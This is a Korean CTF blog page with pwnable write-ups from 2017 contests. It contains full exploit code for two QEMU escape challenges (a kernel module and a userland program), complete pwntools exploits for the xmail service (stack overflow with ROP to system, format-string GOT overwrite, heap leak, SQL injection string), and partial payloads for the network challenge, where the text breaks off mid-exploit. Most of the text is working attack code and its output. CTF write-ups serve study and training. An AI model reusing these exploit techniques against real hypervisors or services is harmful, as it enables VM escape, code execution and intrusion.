'CTF/2017'에 해당하는 글 7건

Category : pwnable


Summary : qemu escape





Exploit


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <linux/delay.h>

#define IOMEM_A 0xfe900000
#define IOMEM_B 0xfea00000
#define IOPORT_A 0xc000
#define IOPORT_B 0xc100

#define MMIO_SRC 0x04
#define MMIO_DST 0x08
#define MMIO_COPY 0x20
#define MMIO_CMD 0x24
#define MMIO_TIMER 0x80
#define MMIO_EXPIRE_LO 0x88
#define MMIO_EXPIRE_HI 0x8c

#define LINEAR_INIT 0x0
#define LINEAR_COPY 0x0
#define LINEAR_SRC 0x4
#define LINEAR_DATA 0x5
#define LINEAR_LEN 0x8
#define LINEAR_SR_ADDR 0x9
#define LINEAR_SR_REF 0xa
#define LINEAR_P 0xb
#define LINEAR_N 0xc
#define LINEAR_TIMER 0xd

#define virt_to_phys(address) (__pa(address))
#define phys_to_virt(address) (__va(address))

MODULE_AUTHOR("pwn3r");
MODULE_DESCRIPTION("Escape");
MODULE_LICENSE("pwn3r");

struct dma_state{
uint64_t src;
uint64_t dst;
uint64_t cnt;
uint64_t cmd;
uint64_t phys_mem_read;
uint64_t phys_mem_write;
uint8_t buf[768];
};

uint64_t tencent_linear_read(uint32_t port, uint64_t hwaddr){
uint64_t out = 0;
out = inl(port + hwaddr);
return out;
}
void tencent_linear_write(uint32_t port, uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
outb((uint8_t)value, port + hwaddr);
break;
case 2:
outw((uint16_t)value, port + hwaddr);
break;
case 4:
outl((uint32_t)value, port + hwaddr);
break;
}
}
uint64_t tencent_mmio_read(uint64_t iomem, uint64_t hwaddr, uint32_t length){
uint64_t out;
switch(length){
case 1:
out = readb(iomem+hwaddr);
break;
case 2:
out = readw(iomem+hwaddr);
break;
case 4:
out = readl(iomem+hwaddr);
break;
case 8:
default:
out = readq(iomem+hwaddr);
}
return out;
}

void tencent_mmio_write(uint64_t iomem, uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
writeb(value, iomem+hwaddr);
break;
case 2:
writew(value, iomem+hwaddr);
break;
case 4:
writel(value, iomem+hwaddr);
break;
case 8:
default:
writeq(value, iomem+hwaddr);
}
}

void tencent_uninit_A(void){
struct file *filp = NULL;
char buf[2] = "0";
mm_segment_t oldfs;
int err = 0;
loff_t pos;
oldfs = get_fs();
set_fs(get_ds());
filp = filp_open("/sys/bus/pci/slots/4/power", O_RDWR, 0644);

if (IS_ERR(filp)) {
err = PTR_ERR(filp);
printk("[-] Cannot disable pci 4\n");
}
vfs_write(filp, buf, 2, &pos);
filp_close(filp, NULL);
set_fs(oldfs);
}

static int __init exploit_init(void)
{
char buf[0x1000];
uint64_t pie_base, system_plt;
uint64_t iomem_a, iomem_b;
struct dma_state fake_dstate;

memset(buf, 0x90, 0x1000);

// init state->dma_state
tencent_linear_read(IOPORT_A, LINEAR_INIT);
tencent_linear_read(IOPORT_B, LINEAR_INIT);
iomem_a = ioremap(IOMEM_A, 0x100000);
iomem_b = ioremap(IOMEM_B, 0x100000);

// stateA->sr[5] = 3
tencent_linear_write(IOPORT_A, LINEAR_SR_ADDR, 5, 1);
tencent_linear_write(IOPORT_A, LINEAR_SR_REF, 3, 1);

// stateB->sr[5] = 3
tencent_linear_write(IOPORT_B, LINEAR_SR_ADDR, 5, 1);
tencent_linear_write(IOPORT_B, LINEAR_SR_REF, 3, 1);

/* leak pie_base */
tencent_mmio_write(iomem_a, MMIO_DST, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_A, LINEAR_LEN, (0x1180+0x30) - 0xe70, 4);
tencent_mmio_write(iomem_a, MMIO_COPY, 0, 4);
pie_base = *((uint64_t *)&buf[(0x1180+0x28) - 0xe70]) - 0x5c143f;
system_plt = pie_base + 0x1fe158;
/*
gdb-peda$ x/60a 0x5555580d4c40 + 0x1180
0x5555580d5dc0: 0x0 0x51
0x5555580d5dd0: 0x5555580d5e20 0x5555580d5e40
0x5555580d5de0: 0x0 0x555555b1543f <property_get_bool>
*/
printk("pie_base : %p\n", pie_base);

/* stateA->dma_buf[:13] = "cat flag.txt"; */
memcpy(buf, "cat flag", 9);
tencent_mmio_write(iomem_a, MMIO_SRC, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_A, LINEAR_LEN, 9, 4);
tencent_mmio_read(iomem_a, MMIO_COPY, 4);

// stateA->sr[129] = 1
tencent_linear_write(IOPORT_A, LINEAR_SR_ADDR, 129, 1);
tencent_linear_write(IOPORT_A, LINEAR_SR_REF, 1, 1);

// timer(1)
tencent_mmio_write(iomem_a, MMIO_EXPIRE_LO, 1000000000 * 1, 4);
tencent_mmio_write(iomem_a, MMIO_TIMER, 0, 4);
fake_dstate.src = 0;
fake_dstate.dst = 0;
fake_dstate.cnt = 0;
fake_dstate.cmd = 0;
fake_dstate.phys_mem_read = 0;
fake_dstate.phys_mem_write = system_plt;
memset(&fake_dstate.buf, 0, 768);

// stateB->src = fake_dstate; stateB->dst = buf; stateB->dma_len = 0x330;
tencent_mmio_write(iomem_b, MMIO_SRC, virt_to_phys(&fake_dstate), 4);
tencent_mmio_write(iomem_b, MMIO_DST, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_B, LINEAR_LEN, 0x330, 4);

// free stateA->dma_state
tencent_uninit_A();

// stateA->dma_state = stateB->buf = g_malloc(0x330);
// stateA->dam_state = fake_dstate;
tencent_linear_write(IOPORT_B, LINEAR_COPY, 0x0, 1);
mdelay(1000);
return 0;
}

static void __exit exploit_cleanup(void)
{
iounmap(iomem_a);
iounmap(iomem_b);
}

module_init(exploit_init);
module_exit(exploit_cleanup);


# cat file  | base64 -d > exploit.ko
# insmod exploit.ko
[ 25.881252] pwn3r: loading out-of-tree module taints kernel.
[ 25.882120] pwn3r: module license 'pwn3r' taints kernel.
[ 25.882559] Disabling lock debugging due to kernel taint
[ 25.936876] pwn3r: module verification failed: signature and/or required key missing - tainting kernel
[ 26.031904] pie_base : 000055edb7cd2000
CTF{THIS_IS_FLAG}






'CTF > 2017' 카테고리의 다른 글

0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
CODEGATE 2017 FINAL - petshop  (0) 2017.06.04

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

HITB GSEC 2017 - babyqemu

CTF/2017 2018. 12. 3. 22:49


Category : pwnable


Summary : qemu escape




Exploit


#include
<sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <time.h>


#define SRC_LO 0x80
#define SRC_HI 0x84
#define DST_LO 0x88
#define DST_HI 0x8c
#define CNT 0x90
#define TIMER 0x98

#define TIMER_READ 0x1
#define TIMER_WRITE 0x3
#define TIMER_ENC 0x4

#define MAP_SIZE 0x1000

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

int fd;
int pagemap_fd;
char *mmio;


///////// http://www.phrack.org/papers/vm-escape-qemu-case-study.html //////////
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(pagemap_fd, offset, SEEK_SET);
read(pagemap_fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
if(gfn == -1){
write(1, "convert fail\n", 13);
exit(-1);
}
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
/////////////////////////////////////////////////////////////////////////////////

uint64_t hitb_read(uint64_t hwaddr){
uint64_t out;

out = *((uint32_t *)(&mmio[hwaddr]));
return out;
}

void hitb_write(uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
*((uint8_t *)(&mmio[hwaddr])) = (uint8_t)value;
break;
case 2:
*((uint16_t *)(&mmio[hwaddr])) = (uint16_t)value;
break;
case 4:
*((uint32_t *)(&mmio[hwaddr])) = (uint32_t)value;
break;
case 8:
default:
*((uint64_t *)(&mmio[hwaddr])) = (uint64_t)value;
}
}

void memset(void *dest, int c, size_t count){
int i;
for(i=0;i<count;i++) *(char *)dest++ = (char)c;
}

void memcpy(void *dest, void *src, size_t count){
int i;
for(i=0;i<count;i++) *(char *)dest++ = *(char *)src++;
}


int main()
{
struct timespec ts;
uint64_t pie_base, system_plt, free_got, data;
char buf[0x100];

fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
mmio = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
pagemap_fd = open("/proc/self/pagemap", O_RDONLY);

if(fd < 0 || (int64_t)mmio < 0 || pagemap_fd < 0){
write(1, "fail\n", 5);
exit(-1);
}

memset(buf, 0x90, 0x100);
ts.tv_sec = 3;
ts.tv_nsec = 0;

/* leak pie base */
hitb_write(SRC_LO, 0x41000, 8);
hitb_write(DST_LO, gva_to_gpa(buf), 8);
hitb_write(CNT, 8, 8);
hitb_write(TIMER, TIMER_WRITE, 8);
nanosleep(&ts, NULL);

pie_base = *((uint64_t *)buf) - 0x283dd0;
system_plt = pie_base + 0x1fdb18;


/* hitbState->enc = system@plt */
hitb_write(SRC_LO, (gva_to_gpa(&system_plt)), 8);
hitb_write(DST_LO, 0x41000, 8);
hitb_write(CNT, 8, 8);
hitb_write(TIMER, TIMER_READ, 8);
nanosleep(&ts, NULL);


/* hitbState->dma_buf[0:9] = "cat flag\x00"*/
memcpy(buf, "cat flag", 9);
hitb_write(SRC_LO, (gva_to_gpa(buf)), 8);
hitb_write(DST_LO, 0x40000, 8);
hitb_write(CNT, 9, 8);
hitb_write(TIMER, TIMER_READ, 8);
nanosleep(&ts, NULL);


/* hitbState->enc("cat flag", hitbState->dma.cnt) */
hitb_write(SRC_LO, 0x40000, 8);
hitb_write(DST_LO, 0xcafebabedeafbeef, 8);
hitb_write(CNT, 9, 8);
hitb_write(TIMER, TIMER_WRITE | TIMER_ENC, 8);
nanosleep(&ts, NULL);

/* flag! */

close(fd);
close(pagemap_fd);
munmap(mmio, MAP_SIZE);
exit(0);
}


# cat pay | base64 -d > exploit
# chmod +x exploit
# ./exploit
CTF{THIS_IS_FLAG}

#



'CTF > 2017' 카테고리의 다른 글

0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
CODEGATE 2017 FINAL - petshop  (0) 2017.06.04

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

XCTF FINAL 2017 - xmail

CTF/2017 2018. 10. 6. 04:15

Abstract


XCTF 2017 Final - 2일 차에 출제된 문제.


대회 이름 혹은 문제 이름을 떠올리기만 해도 미안함과 죄책감에 사로잡히는 대회들이 있다.

당시에 내가 풀지 못했던 문제들 인해 행복한 추억이 될 수 있던 순간들이 괴로운 기억으로 남았다.


그 중 XCTF를 생각하면 가슴이 턱 막힌다. 자신에게 기대, 다짐, 의미가 큰 대회였지만, 그에 비해 내 능력은 준비되어 있지 않았다. 결국, 내 역할을 제대로 수행하지 못하여 대회를 망쳤다.


최근 XCTF 2016에서 출제됐던 문제들을 모두 풀고, 좀 울컥했다. 대회때는 날 패치하지 못한 취약점들 패치한다고 문제를 제대로 보지 못했지만, 그게 핑계가 되어주지 못 할 정도로 취약점들이 간단했기 때문이다. 자신감이 바닥이라 내가 풀 수 있다는 확신도 없던걸까? 이제와서 1시간도 안되어 쉘을 따자마자 멘탈이 나가 노트북을 덮었다. 너무 허무하다. 당시에 내가 network든 xmail이든 풀기만 했더라도 순위가 크게 밀려나는 일은 없었을텐데, 뭐가 그렇게 자신없어 flag 털리고 패치나 하고 앉았을까.


시간을 되돌려 그 순간으로 너무나 돌아가고 싶다. 앞으로 그 사람들과 다시 한번 같은 상황, 여건, 분위기에서 대회를 나갈 수 있는 기회는 더 이상 없을 것이다. XCTF를 비롯해 4년간 나와 함께 했던 팀원들에게 너무나 미안하다.


함께 발전을 이룰 수 있는 중요한 시간을 나만 아무것도 이루지 않고 제자리에 있었다. 

다행히 (자의적으로는 아니지만) 잠깐 동안 컴퓨터와 완벽히 단절된 시간을 보내면서, 이게 제일 재밌다는 것을 이제라도 깨달았다.


내가 느슨해질 때마다 XCTF와 여러 대회들을 기억하고 괴로워하며 빡세게 공부해야겠다.


미안합니다.



Vulnerability(1) Stack based buffer overflow


기능을 보다보면 사용자에게 큰 명령을 입력받을 때, get_input(사용자 정의)이라는 함수를 이용한다.



 




 


입력을 받을 때 buffer의 크기를 고려하지 않고 사용자에게 size를 입력받는다. size가 0x80인 stack buffer에 입력받으므로 simple stack bof.


pay = ''
pay += chr(0x84)
pay += p32(0x7fffffff)[::-1]
pay += 'QUIT '
pay = pay.ljust(0x2a8 + 5, '\x00')
pay += p64(libc_pop_rdi)
pay += p64(libc_sh)
pay += p64(libc_system)
pay += '\x0b'

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()



Vulnerability(2) SQL Injection -> heap overflow


xmail은 sqlite database에 message를 남기는 기능이 있다. 

message를 확인할 땐, username을 기준으로 확인하게 되는데, username에 별다른 filtering이 없어 sql injection이 가능하다.


username: ' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- 


// sqlite 에 repeat 함수가 없어서 저걸로 대신함.


username이 위와 같을때 size 0x1010인 heap chunk에 0x1020byte가 복사되어 heap overflow가 발생한다.

(exploit과정은 조금 삽질을 해야할 것이다.)


 



pay = ''
pay += 'USER '
pay += """' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- \x0c"""
pay += '\x0b'
pay = chr(len(pay)) + pay

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()


[pid 17507] [0x40249a] sprintf("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '",

"SELECT idx, message FROM xmessage WHERE username = '%s'",

"' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- ") = 116
[pid 17507] [0x4021d7] strstr("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '", "shell") = nil
[pid 17507] [0x4021f7] strstr("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '", "system") = nil
[pid 17507] [0x4024db] sqlite3_prepare_v2(0x1ced078, 0x7ffd0237c990, 0xffffffff, 0x7ffd0237cde0) = 0
[pid 17507] [0x4025dd] sqlite3_step(0x1d11898, 0, 0x1ced018, 1) = 100
[pid 17507] [0x40253e] sqlite3_column_int(0x1d11898, 0, 0x1ced018, 0) = 1
[pid 17507] [0x402559] sqlite3_column_blob(0x1d11898, 1, 0x1ced018, 1) = 0x1f0b998
[pid 17507] [0x402575] sqlite3_column_bytes(0x1d11898, 1, 0x1ced018, 1) = 0x99037
[pid 17507] [0x402582] malloc(4112) = 0x1fa5d30
[pid 17507] [0x4025a3] memcpy(0x1fa5d40, "X'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 626743 <no return ...>
[pid 17507] [0x7ff3a1511156] --- SIGSEGV (Segmentation fault) ---
[pid 17507] [0xffffffffffffffff] +++ killed by SIGSEGV +++


Vulnerability(3) Format string bug[1]


Format string bug가 다수 존재한다. 심지어 stack에 데이터를 쓸 수 있기 때문에 굳이 double stated fsb를 하지 않아도 된다.


 




Vulnerability(4) Format string bug[2]


마찬가지.


 




Vulnerability(5) Memory leak


heap에 몇 개의 message를 남길 수 있는 기능도 존재한다.

message를 남기고(leave), 확인하고(show), 삭제(delete)할 수 있는 기능이 존재하는데, message를 leave / delete할 때, heap을 초기화 하지 않는다.




따라서 chunk를 free했을 때 생기는 fd / bk도 chunk에 그대로 남게되는데, 마침 show 함수가 0x10이라는 고정된 길이만큼 출력해주기 때문에 unsorted bin chunk를 만들어서 main_arena 주소를 알아낼 수 있다.



(1) fastbin 보다 큰 chunk를 만들고

(2) free 시키면 fd, bk가 main_arena+88의 주소를 가지게 된다.

(3) 다시 한번 할당하여 

(4) 출력하면 main_arena 주소를 알아낼 수 있다.  = libc주소 leak

cmd_leave(0, 0x90, 'a'*0x90)
cmd_delete(0)
cmd_leave(0, 0x90, 'a'*8)

libc_base = u64(cmd_show(0)[8:16]) - 0x3c4de8



* 모든 취약점에 대한 exploit할 필요가 없을 것 같아 BOF와 FSB exploit을 1개씩 작성했다.



Exploit - FSB

#!/usr/bin/python

from pwn import *

def cmd_send_mode():
ru('Message?\n')
ss('S\x00')

def send_req(data):
size = len(data)
obj = ''
obj += p16(1)
obj += p16(size + 8 + 2)
obj += p32(0)
ss(obj)

obj = ''
obj += chr(size)
obj += data
obj += '\x0b'
ss(obj)


align = lambda block, data: data+'\x00'*(block- (len(data) % block))

s = process('./xmail')
rr = s.recv
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send


def ru2(msg):
data = ''
while msg not in data:
data += rr(1)
print 'a'
print data
return data

raw_input('>')
cmd_send_mode()

send_req('DATA')
ru('354 end with .\r\n')
send_req('%63$p\x00')
send_req('.\r\n\x00')

libc_base = int(rl().strip(), 16) - 0x20830
print hex(libc_base)

printf_got = 0x604068
libc_system = libc_base + 0x45390

fsb = ''
cnt = 0
idx = 14

for i in range(0, 3):
target = (libc_system >> (i*16)) & 0xffff
if target >= cnt:
fsb += '%{}c%{}$hn'.format(target-cnt, idx)
else:
fsb += '%{}c%{}$hn'.format((target+0x10000 - cnt)&0xffff, idx)
idx += 1
cnt = target
fsb += '##'

pay = ''
pay += align(8, fsb)
pay += p64(printf_got)
pay += p64(printf_got + 2)
pay += p64(printf_got + 4)

send_req('DATA')
ru('354 end with .\r\n')
send_req(pay)
send_req('.\r\n\x00')

send_req('DATA')
#ru('354 end with .\r\n')
send_req('sh\x00')
send_req('.\r\n\x00')

sl('id')
ru('354 end with .\r\n')

s.interactive()
s.close()



Exploit - BOF

#!/usr/bin/python

from pwn import *

def cmd_recv(size_obj, msg):
ru('Message?\n')
ss('R\x00')
ru('+OK POP3 server ready')
ss(size_obj)
ss(msg)


def cmd_leave(idx, msg_len, msg):
ru('Message?\n')
ss('L\x00')
ru('Leave message here....\n')
sl(str(idx))
sl(str(msg_len))
ss(msg)


def cmd_delete(idx):
ru('Message?\n')
ss('D\x00')
ru('Delete message here....\n')
sl(str(idx))


def cmd_show(idx):
ru('Message?\n')
ss('M\x00')
ru('Memory detect here....\n')
sl(str(idx))
return rr(0x10)


s = process('./xmail')
rr = s.recv
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

raw_input('>')

cmd_leave(0, 0x90, 'a'*0x90)
cmd_delete(0)
cmd_leave(0, 0x90, 'a'*8)

libc_base = u64(cmd_show(0)[8:16]) - 0x3c4de8
libc_system = libc_base + 0x45390
libc_pop_rdi = libc_base + 0x7a170
libc_sh = libc_base + 0x11e70

print hex(libc_base)

pay = ''
pay += chr(0x84)
pay += p32(0x7fffffff)[::-1]
pay += 'QUIT '
pay = pay.ljust(0x2a8 + 5, '\x00')
pay += p64(libc_pop_rdi)
pay += p64(libc_sh)
pay += p64(libc_system)
pay += '\x0b'

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()


$ python ex_bof.py
[+] Starting local process './xmail': pid 518
>
0x7f55fcecd000
[*] Switching to interactive mode

+OK
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

$ python ex_fsb.py
[+] Starting local process './xmail': pid 500
>
0x7f052a988000
[*] Switching to interactive mode
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
$

'CTF > 2017' 카테고리의 다른 글

0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
CODEGATE 2017 FINAL - petshop  (0) 2017.06.04

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

XCTF FINAL 2017 - network

CTF/2017 2018. 10. 6. 04:15


Abstract


XCTF 2017 Final에서 2일 차에 공개된 문제. jinmo123이 first blood로 풀어 모든 팀들을 압살하고 1위를 찍은 문제.

취약점은 은근히 간단하지만, 아무리 생각해봐도 당시 jinmo123이 풀었던 속도로는 못 풀었을 것 같다. (개빠름)

그래도 당시에 제대로 봤다면 최소한 늦은 exploit이나 patch라도 가능했을텐데, 너무나 아쉽다.



Main thread


main함수는 아래와 같이 10개의 thread를 생성하고, 사용자의 input을 0번 thread에 전송한다.


 

// 9개의 transfer thread 와 1개의 message thread를 생성.


// 무한루프를 돌며 사용자에게 입력을 받고, 0번 transfer thread에 전송.



(1) Transfer thread


transfer thread는 사용자에게 입력받은 데이터를 다음 thread에 전달하는 역할을 한다.

크게 2가지 기능을 가지고 있다.


1. transfer

- 사용자가 지정한 thread에 input이 도달할 때까지 다음 thread로 input을 전달한다.


2. update

- 사용자가 지정한 thread가 가지고 있는 thread information을 갱신한다.


아래는 transfer thread의 코드이다. 


 


코드를 파트별로 나누어보면 아래와 같다.


1. transfer : 전송 대상이 message thread이면 0x108 byte를 입력받아 다음 transfer thread로 전송한다.

2. transfer : 전송 대상이 자신이 아닌 transfer thread이면 0x1c byte를 입력받아 다음 transfer thread로 전송한다.

3. update : 전송 대상이 자신이면 0x1c byte를 입력받아 thread information table(thread_info)을 갱신한다. 


transfer thread



User input

main

thread 

(input)

transfer

thread 0 

transfer

thread 1 

transfer

thread 2 

transfer

thread 3  

transfer

thread 4  

transfer

thread 5  

transfer

thread 6  

transfer

thread 7  

transfer
thread 8 

Message 

thread




(2) Message thread





message thread는 name과 message를 지역변수에 입력(set)받고, 보여주는 기능(show)을 하는 간단한 쓰레드이다.

이 thread 자체에서 취약점을 찾지는 못했지만, exploit할 때 이용할 수 있었다.


name과 message를 저장하는 지역변수는 아래와 같은 구조체로 정의되어있다.


struct broker_buf{
int name_length;
char name[0x200];
int msg_length;
char msg[0x200];
}


show info 기능은 message 구조체에 저장된 name, msg를 name_length, msg_length만큼 출력(write)해준다.



set info 기능은 사용자에게 name_length, name, msg_length, msg를 입력받고 구조체에 저장한다. 이외에 별다른 특징은 없다.




Out Of Boundary


transfer thread의 3가지 기능 중, thread information table을 갱신하는 기능에서 취약점이 발생한다. 사용자에게 업데이트 할 thread information table의 index를 입력받는데(t_info_buf[0]), signed int형으로 boundary check를 하기 때문에 index가 음수일 때 out of boundary 주소에 memcpy를 시킬 수 있다.


// t_info_buf[0] > 9로 비교함. t_info_buf를 unsigned로 임시형변환을 하거나 0보다 작은지 검사했어야 함.


아래와 같이 message thread stack이 transfer thread stack보다 낮은 주소에 있기 때문에 index를 잘 control하면 message thread의 지역변수를 덮어쓸 수 있다.

gdb-peda$ shell cat /proc/15935/maps
5593c65ee000-5593c65f1000 r-xp 00000000 fc:00 3409115 /home/pwn3r/network
5593c67f0000-5593c67f1000 r--p 00002000 fc:00 3409115 /home/pwn3r/network
5593c67f1000-5593c67f2000 rw-p 00003000 fc:00 3409115 /home/pwn3r/network
5593c741a000-5593c743b000 rw-p 00000000 00:00 0 [heap]
7f192d451000-7f192d452000 ---p 00000000 00:00 0
7f192d452000-7f192dc52000 rw-p 00000000 00:00 0                          message thread stack
7f192dc52000-7f192dc53000 ---p 00000000 00:00 0
7f192dc53000-7f192e453000 rw-p 00000000 00:00 0                          transfer thread 8 stack
7f192e453000-7f192e454000 ---p 00000000 00:00 0
7f192e454000-7f192ec54000 rw-p 00000000 00:00 0                          transfer thread 7 stack
7f192ec54000-7f192ec55000 ---p 00000000 00:00 0
7f192ec55000-7f192f455000 rw-p 00000000 00:00 0                          transfer thread 6 stack
7f192f455000-7f192f456000 ---p 00000000 00:00 0
7f192f456000-7f192fc56000 rw-p 00000000 00:00 0                          transfer thread 5 stack
7f192fc56000-7f192fc57000 ---p 00000000 00:00 0
7f192fc57000-7f1930457000 rw-p 00000000 00:00 0                          transfer thread 4 stack
7f1930457000-7f1930458000 ---p 00000000 00:00 0
7f1930458000-7f1930c58000 rw-p 00000000 00:00 0                          transfer thread 3 stack
7f1930c58000-7f1930c59000 ---p 00000000 00:00 0
7f1930c59000-7f1931459000 rw-p 00000000 00:00 0                          transfer thread 2 stack
7f1931459000-7f193145a000 ---p 00000000 00:00 0
7f193145a000-7f1931c5a000 rw-p 00000000 00:00 0                          transfer thread 1 stack
7f1931c5a000-7f1931c5b000 ---p 00000000 00:00 0
7f1931c5b000-7f193245b000 rw-p 00000000 00:00 0                          transfer thread 0 stack
7f193245b000-7f193261b000 r-xp 00000000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193261b000-7f193281b000 ---p 001c0000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193281b000-7f193281f000 r--p 001c0000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193281f000-7f1932821000 rw-p 001c4000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f1932821000-7f1932825000 rw-p 00000000 00:00 0
7f1932825000-7f193283d000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f193283d000-7f1932a3c000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3c000-7f1932a3d000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3d000-7f1932a3e000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3e000-7f1932a42000 rw-p 00000000 00:00 0
7f1932a42000-7f1932a68000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c50000-7f1932c54000 rw-p 00000000 00:00 0
7f1932c67000-7f1932c68000 r--p 00025000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c68000-7f1932c69000 rw-p 00026000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c69000-7f1932c6a000 rw-p 00000000 00:00 0
7ffd806a1000-7ffd806c2000 rw-p 00000000 00:00 0 [stack]
7ffd8077c000-7ffd8077f000 r--p 00000000 00:00 0 [vvar]
7ffd8077f000-7ffd80781000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]


Memory leak


OOB write를 이용하여 message thread에 있는 message 구조체의 msg_length를 0x300정도로 변경하고 show info 기능을 부르면 stack에 있는 SSP와 libc주소를 알아낼 수 있다.




아래와 같이 message thread stack에 있는 message->msg_length의 index를 계산하여 0x2b8로 덮어쓴다.

그 뒤 show info 기능을 부르면 message->msg 를 출력할 때 memory leak 발생!

pay = ''
pay += p32((-((0x801000 * 9 + 0x210 - 0x204)) / 0x18) & 0xffffffff)

# index (&message->msg_length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(1) # mid
pay += p32(0x2b8) # tid (new msg_length!)
pay += p32(2) # rand1
pay += p32(3) # rand2
t_send(0, 0, pay)

ru('tid:')
rl()

pay = ''
pay += p32(0x100) # size
pay += p32(0x0) #
pay += p32(0x2) # menu2 : show
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
ru('msg:\n')
leak = rr(0x2b8)
ssp = u64(leak[0x200:0x208])
libc_base = u64(leak[0x2b0:0x2b8]) - 0x10741d

print hex(ssp)
print hex(libc_base)



Stack overflow


set info 기능을 불러 아래와 같이 입력한다.


name length : 4

name : NAME

msg length : 0x100


이제 "msg:" 를 출력하고 입력이 read_data함수를 불러 data transfer를 대기하는 상태가 된다. 이 때 OOB write로 length 지역변수를 0x200 이상으로 바꾸어버리면 stack based buffer overflow를 trigger할 수 있다.




아래와 같이 name length / name / msg length 를 입력하여 msg 입력을 대기하는 상태로 만들어놓고, OOB write로 입력받을 길이인 length를 0x200보다 큰 값으로 덮어쓴다. 그 다음 msg 입력에서 overflow가 발생할 때 SSP 복구, return addres = one gadget.



pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x1) # menu : add
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)


ru('name length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x4) # name_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
pay = ''
pay += p32(0x4) # size
pay += p32(0x1)
pay += 'NAME'
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x100) # msg_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg:\n')
